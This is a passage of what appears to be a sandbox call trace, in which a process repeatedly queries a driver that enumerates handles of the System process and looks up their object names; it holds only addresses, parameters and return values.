0x0 [0119.676] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.676] ObReferenceObjectByHandle (in: Handle=0xffffffff800009a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80033f9050, HandleInformation=0x0) returned 0x0 [0119.676] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.676] PsReleaseProcessExitSynchronization () returned 0x2 [0119.676] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.676] ObQueryNameString (in: Object=0xfffffa80033f9050, ObjectNameInfo=0xfffffa8001a04044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a04044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.676] ObfDereferenceObject (Object=0xfffffa80033f9050) returned 0x2 [0119.676] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.676] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.676] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.676] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.676] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.676] PsAcquireProcessExitSynchronization () returned 0x0 [0119.677] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.677] ObReferenceObjectByHandle (in: Handle=0xffffffff800009a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80028915c0, HandleInformation=0x0) returned 0x0 [0119.677] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.677] PsReleaseProcessExitSynchronization () returned 0x2 [0119.677] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.677] ObQueryNameString (in: Object=0xfffffa80028915c0, ObjectNameInfo=0xfffffa80019fa044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019fa044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.677] ObfDereferenceObject (Object=0xfffffa80028915c0) returned 0x2 [0119.677] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.677] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.677] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.677] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.677] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.677] PsAcquireProcessExitSynchronization () returned 0x0 [0119.677] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.677] ObReferenceObjectByHandle (in: Handle=0xffffffff800009ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80033faf20, HandleInformation=0x0) returned 0x0 [0119.677] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.677] PsReleaseProcessExitSynchronization () returned 0x2 [0119.677] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.677] ObQueryNameString (in: Object=0xfffffa80033faf20, ObjectNameInfo=0xfffffa80019fb044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019fb044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.677] ObfDereferenceObject (Object=0xfffffa80033faf20) returned 0x2 [0119.677] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.677] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.677] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.677] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.677] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.677] PsAcquireProcessExitSynchronization () returned 0x0 [0119.677] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.677] ObReferenceObjectByHandle (in: Handle=0xffffffff800009b8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80026dd050, HandleInformation=0x0) returned 0x0 [0119.677] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.677] PsReleaseProcessExitSynchronization () returned 0x2 [0119.677] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.678] ObQueryNameString (in: Object=0xfffffa80026dd050, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.678] ObfDereferenceObject (Object=0xfffffa80026dd050) returned 0x2 [0119.678] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.678] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.678] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.678] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.678] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.678] PsAcquireProcessExitSynchronization () returned 0x0 [0119.678] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.678] ObReferenceObjectByHandle (in: Handle=0xffffffff800009c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80022cf460, HandleInformation=0x0) returned 0x0 [0119.678] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.678] PsReleaseProcessExitSynchronization () returned 0x2 [0119.678] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.678] ObQueryNameString (in: Object=0xfffffa80022cf460, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.678] ObfDereferenceObject (Object=0xfffffa80022cf460) returned 0x2 [0119.678] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.678] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.678] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.678] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.678] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.678] PsAcquireProcessExitSynchronization () returned 0x0 [0119.678] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.678] ObReferenceObjectByHandle (in: Handle=0xffffffff800009c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8009f8af20, HandleInformation=0x0) returned 0x0 [0119.678] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.678] PsReleaseProcessExitSynchronization () returned 0x2 [0119.678] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.678] ObQueryNameString (in: Object=0xfffffa8009f8af20, ObjectNameInfo=0xfffffa80019fc044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019fc044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.678] ObfDereferenceObject (Object=0xfffffa8009f8af20) returned 0x2 [0119.678] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.678] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.679] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.679] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.679] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.679] PsAcquireProcessExitSynchronization () returned 0x0 [0119.679] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.679] ObReferenceObjectByHandle (in: Handle=0xffffffff800009cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003585790, HandleInformation=0x0) returned 0x0 [0119.679] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.679] PsReleaseProcessExitSynchronization () returned 0x2 [0119.679] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.679] ObQueryNameString (in: Object=0xfffffa8003585790, ObjectNameInfo=0xfffffa80019fd044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019fd044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.679] ObfDereferenceObject (Object=0xfffffa8003585790) returned 0x2 [0119.679] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.679] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.679] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.679] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.679] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.679] PsAcquireProcessExitSynchronization () returned 0x0 [0119.679] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.679] ObReferenceObjectByHandle (in: Handle=0xffffffff800009d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80033f3830, HandleInformation=0x0) returned 0x0 [0119.679] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.679] PsReleaseProcessExitSynchronization () returned 0x2 [0119.679] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.679] ObQueryNameString (in: Object=0xfffffa80033f3830, ObjectNameInfo=0xfffffa80019fe044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019fe044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.679] ObfDereferenceObject (Object=0xfffffa80033f3830) returned 0x2 [0119.679] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.679] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.679] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.679] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.679] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.679] PsAcquireProcessExitSynchronization () returned 0x0 [0119.679] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.679] ObReferenceObjectByHandle (in: Handle=0xffffffff800009dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002005b20, HandleInformation=0x0) returned 0x0 [0119.679] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.680] PsReleaseProcessExitSynchronization () returned 0x2 [0119.680] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.680] ObQueryNameString (in: Object=0xfffffa8002005b20, ObjectNameInfo=0xfffffa80019ff044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019ff044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.680] ObfDereferenceObject (Object=0xfffffa8002005b20) returned 0x2 [0119.680] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.680] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.680] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.680] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.680] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.680] PsAcquireProcessExitSynchronization () returned 0x0 [0119.680] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.680] ObReferenceObjectByHandle (in: Handle=0xffffffff800009e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80035fa830, HandleInformation=0x0) returned 0x0 [0119.680] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.680] PsReleaseProcessExitSynchronization () returned 0x2 [0119.680] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.680] ObQueryNameString (in: Object=0xfffffa80035fa830, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.680] ObfDereferenceObject (Object=0xfffffa80035fa830) returned 0x2 [0119.680] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.680] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.680] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.680] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.680] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.680] PsAcquireProcessExitSynchronization () returned 0x0 [0119.680] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.680] ObReferenceObjectByHandle (in: Handle=0xffffffff800009ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80024e93c0, HandleInformation=0x0) returned 0x0 [0119.680] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.680] PsReleaseProcessExitSynchronization () returned 0x2 [0119.680] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.680] ObQueryNameString (in: Object=0xfffffa80024e93c0, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.680] ObfDereferenceObject (Object=0xfffffa80024e93c0) returned 0x2 [0119.681] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.681] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.681] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.681] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.681] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.681] PsAcquireProcessExitSynchronization () returned 0x0 [0119.681] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.681] ObReferenceObjectByHandle (in: Handle=0xffffffff800009f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80037aedf0, HandleInformation=0x0) returned 0x0 [0119.681] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.681] PsReleaseProcessExitSynchronization () returned 0x2 [0119.681] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.681] ObQueryNameString (in: Object=0xfffffa80037aedf0, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.681] ObfDereferenceObject (Object=0xfffffa80037aedf0) returned 0x2 [0119.681] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.681] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.681] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.681] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.681] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.681] PsAcquireProcessExitSynchronization () returned 0x0 [0119.681] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.681] ObReferenceObjectByHandle (in: Handle=0xffffffff800009f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003afd2c0, HandleInformation=0x0) returned 0x0 [0119.681] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.681] PsReleaseProcessExitSynchronization () returned 0x2 [0119.681] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.681] ObQueryNameString (in: Object=0xfffffa8003afd2c0, ObjectNameInfo=0xfffffa8001a03044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a03044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.681] ObfDereferenceObject (Object=0xfffffa8003afd2c0) returned 0x2 [0119.681] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.681] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.681] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.682] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.682] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.682] PsAcquireProcessExitSynchronization () returned 0x0 [0119.682] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.682] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a04, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80037f0f20, HandleInformation=0x0) returned 0x0 [0119.682] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.682] PsReleaseProcessExitSynchronization () returned 0x2 [0119.682] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.682] ObQueryNameString (in: Object=0xfffffa80037f0f20, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.682] ObfDereferenceObject (Object=0xfffffa80037f0f20) returned 0x2 [0119.682] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.682] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.682] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.682] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.682] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.682] PsAcquireProcessExitSynchronization () returned 0x0 [0119.682] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.682] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a08, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80037a73e0, HandleInformation=0x0) returned 0x0 [0119.682] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.682] PsReleaseProcessExitSynchronization () returned 0x2 [0119.682] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.682] ObQueryNameString (in: Object=0xfffffa80037a73e0, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.682] ObfDereferenceObject (Object=0xfffffa80037a73e0) returned 0x2 [0119.682] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.682] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.682] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.682] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.682] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.682] PsAcquireProcessExitSynchronization () returned 0x0 [0119.682] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.682] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a18, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80025eb4e0, HandleInformation=0x0) returned 0x0 [0119.682] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.682] PsReleaseProcessExitSynchronization () returned 0x2 [0119.682] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.682] ObQueryNameString (in: 